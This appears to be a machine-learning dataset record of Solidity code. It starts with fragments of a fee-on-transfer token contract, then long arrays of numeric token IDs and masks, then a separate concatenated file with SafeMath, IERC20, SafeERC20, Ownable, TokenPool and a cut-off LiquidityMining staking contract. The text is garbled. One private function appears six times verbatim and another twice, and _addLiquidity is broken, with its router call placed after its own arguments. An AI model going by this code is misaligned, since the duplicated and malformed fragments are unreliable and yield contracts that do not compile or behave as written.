uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint8 holdersFeePrior = _holdersFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = totalFeePrior - (liquidityFeePrior / 2) - (holdersFeePrior);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * liquidityFeePrior / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * devFeePrior / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * buyBackFeePrior / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
_holdersFee = holdersFeePrior;
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint8 holdersFeePrior = _holdersFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = totalFeePrior - (liquidityFeePrior / 2) - (holdersFeePrior);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * liquidityFeePrior / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * devFeePrior / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * buyBackFeePrior / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
_holdersFee = holdersFeePrior;
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
liquidityWallet,
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
} | 1,909,874 | [
1,
1896,
9230,
353,
404,
18,
20,
9,
434,
2172,
3088,
1283,
943,
2229,
353,
374,
18,
3707,
9,
434,
2172,
3088,
1283,
1131,
2430,
1865,
7720,
353,
374,
18,
20,
2947,
9,
434,
2172,
3088,
1283,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
432,
455,
1345,
353,
467,
654,
39,
3462,
16,
14223,
6914,
288,
203,
202,
9940,
5267,
364,
1758,
31,
203,
202,
9940,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
202,
45,
8259,
1071,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
202,
2867,
1071,
11732,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
203,
202,
1080,
3238,
5381,
389,
529,
273,
225,
315,
37,
455,
3155,
14432,
203,
202,
1080,
3238,
5381,
389,
7175,
273,
315,
37,
7031,
14432,
203,
202,
11890,
28,
3238,
5381,
389,
31734,
273,
6549,
31,
203,
203,
202,
6770,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
86,
5460,
329,
31,
203,
202,
6770,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
88,
5460,
329,
31,
203,
202,
6770,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
202,
11890,
5034,
3238,
5381,
4552,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
202,
11890,
5034,
3238,
389,
86,
5269,
273,
261,
6694,
300,
261,
6694,
738,
389,
88,
5269,
10019,
203,
202,
11890,
5034,
3238,
389,
88,
14667,
5269,
31,
203,
203,
202,
6430,
1071,
353,
1609,
7459,
1526,
31,
203,
202,
6430,
1071,
353,
12521,
1876,
48,
18988,
1164,
273,
638,
31,
203,
203,
202,
11890,
5034,
1071,
943,
16936,
6275,
273,
389,
88,
5269,
380,
2130,
342,
12619,
31,
203,
203,
202,
11890,
5034,
1071,
943,
4188,
6275,
273,
389,
88,
5269,
380,
890,
5082,
342,
25259,
31,
203,
203,
202,
6430,
3238,
389,
22270,
2
]
|
// File: contracts/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/contracts/utils/Address.sol
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/TokenPool.sol
pragma solidity 0.5.16;
/**
* @title A simple holder of tokens.
* This is a simple contract to hold tokens. It's useful in the case where a separate contract
* needs to hold multiple distinct pools of the same token.
*/
contract TokenPool is Ownable {
IERC20 public token;
constructor(IERC20 _token) public {
token = _token;
}
function balance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function transfer(address to, uint256 value) external onlyOwner returns (bool) {
return token.transfer(to, value);
}
function rescueFunds(address tokenToRescue, address to, uint256 amount) external onlyOwner returns (bool) {
require(address(token) != tokenToRescue, 'TokenPool: Cannot claim token held by the contract');
return IERC20(tokenToRescue).transfer(to, amount);
}
}
// File: contracts/LiquidityMining.sol
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
/**
* @title Token Geyser
* @dev A smart-contract based mechanism to distribute tokens over time, inspired loosely by
* Compound and Uniswap.
*
* Distribution tokens are added to a locked pool in the contract and become unlocked over time
* according to a once-configurable unlock schedule. Once unlocked, they are available to be
* claimed by users.
*
* A user may deposit tokens to accrue ownership share over the unlocked pool. This owner share
* is a function of the number of tokens deposited as well as the length of time deposited.
* Specifically, a user's share of the currently-unlocked pool equals their "deposit-seconds"
* divided by the global "deposit-seconds". This aligns the new token distribution with long
* term supporters of the project, addressing one of the major drawbacks of simple airdrops.
*
* More background and motivation available at:
* https://github.com/ampleforth/RFCs/blob/master/RFCs/rfc-1.md
*/
contract LiquidityMining is Ownable {
using SafeMath for uint256;
event Staked(address indexed user, uint256 amount, uint256 total, bytes data);
event Unstaked(
address indexed user,
uint256 amount,
uint256 total,
bytes data
);
event TokensClaimed(address indexed user, uint256 amount);
event TokensLocked(uint256 amount, uint256 durationSec, uint256 total);
// amount: Unlocked tokens, total: Total locked tokens
event TokensUnlocked(uint256 amount, uint256 total);
TokenPool private _stakingPool;
TokenPool private _unlockedPool;
TokenPool private _lockedPool;
//
// Time-bonus params
//
uint256 public constant BONUS_DECIMALS = 2;
uint256 public startBonus = 0;
uint256 public bonusPeriodSec = 0;
//
// Global accounting state
//
uint256 public totalLockedShares = 0;
uint256 public totalStakingShares = 0;
uint256 private _totalStakingShareSeconds = 0;
uint256 private _lastAccountingTimestampSec = now;
uint256 private _maxUnlockSchedules = 0;
uint256 private _initialSharesPerToken = 0;
//
// User accounting state
//
// Represents a single stake for a user. A user may have multiple.
struct Stake {
uint256 stakingShares;
uint256 timestampSec;
}
// Caches aggregated values from the User->Stake[] map to save computation.
// If lastAccountingTimestampSec is 0, there's no entry for that user.
struct UserTotals {
uint256 stakingShares;
uint256 stakingShareSeconds;
uint256 lastAccountingTimestampSec;
}
// Aggregated staking values per user
mapping(address => UserTotals) private _userTotals;
// The collection of stakes for each user. Ordered by timestamp, earliest to latest.
mapping(address => Stake[]) private _userStakes;
//
// Locked/Unlocked Accounting state
//
struct UnlockSchedule {
uint256 initialLockedShares;
uint256 unlockedShares;
uint256 lastUnlockTimestampSec;
uint256 endAtSec;
uint256 durationSec;
}
UnlockSchedule[] public unlockSchedules;
/**
* @param stakingToken The token users deposit as stake.
* @param distributionToken The token users receive as they unstake.
* @param maxUnlockSchedules Max number of unlock stages, to guard against hitting gas limit.
* @param startBonus_ Starting time bonus, BONUS_DECIMALS fixed point.
* e.g. 25% means user gets 25% of max distribution tokens.
* @param bonusPeriodSec_ Length of time for bonus to increase linearly to max.
* @param initialSharesPerToken Number of shares to mint per staking token on first stake.
*/
constructor(
address stakingToken,
address distributionToken,
uint256 maxUnlockSchedules,
uint256 startBonus_,
uint256 bonusPeriodSec_,
uint256 initialSharesPerToken
) public {
// The start bonus must be some fraction of the max. (i.e. <= 100%)
require(
startBonus_ <= 10**BONUS_DECIMALS,
"TokenGeyser: start bonus too high"
);
// If no period is desired, instead set startBonus = 100%
// and bonusPeriod to a small value like 1sec.
require(bonusPeriodSec_ != 0, "TokenGeyser: bonus period is zero");
require(
initialSharesPerToken > 0,
"TokenGeyser: initialSharesPerToken is zero"
);
_stakingPool = new TokenPool(IERC20(stakingToken));
_unlockedPool = new TokenPool(IERC20(distributionToken));
_lockedPool = new TokenPool(IERC20(distributionToken));
startBonus = startBonus_;
bonusPeriodSec = bonusPeriodSec_;
_maxUnlockSchedules = maxUnlockSchedules;
_initialSharesPerToken = initialSharesPerToken;
}
/**
* @return The token users deposit as stake.
*/
function getStakingToken() public view returns (IERC20) {
return _stakingPool.token();
}
/**
* @return The token users receive as they unstake.
*/
function getDistributionToken() public view returns (IERC20) {
assert(_unlockedPool.token() == _lockedPool.token());
return _unlockedPool.token();
}
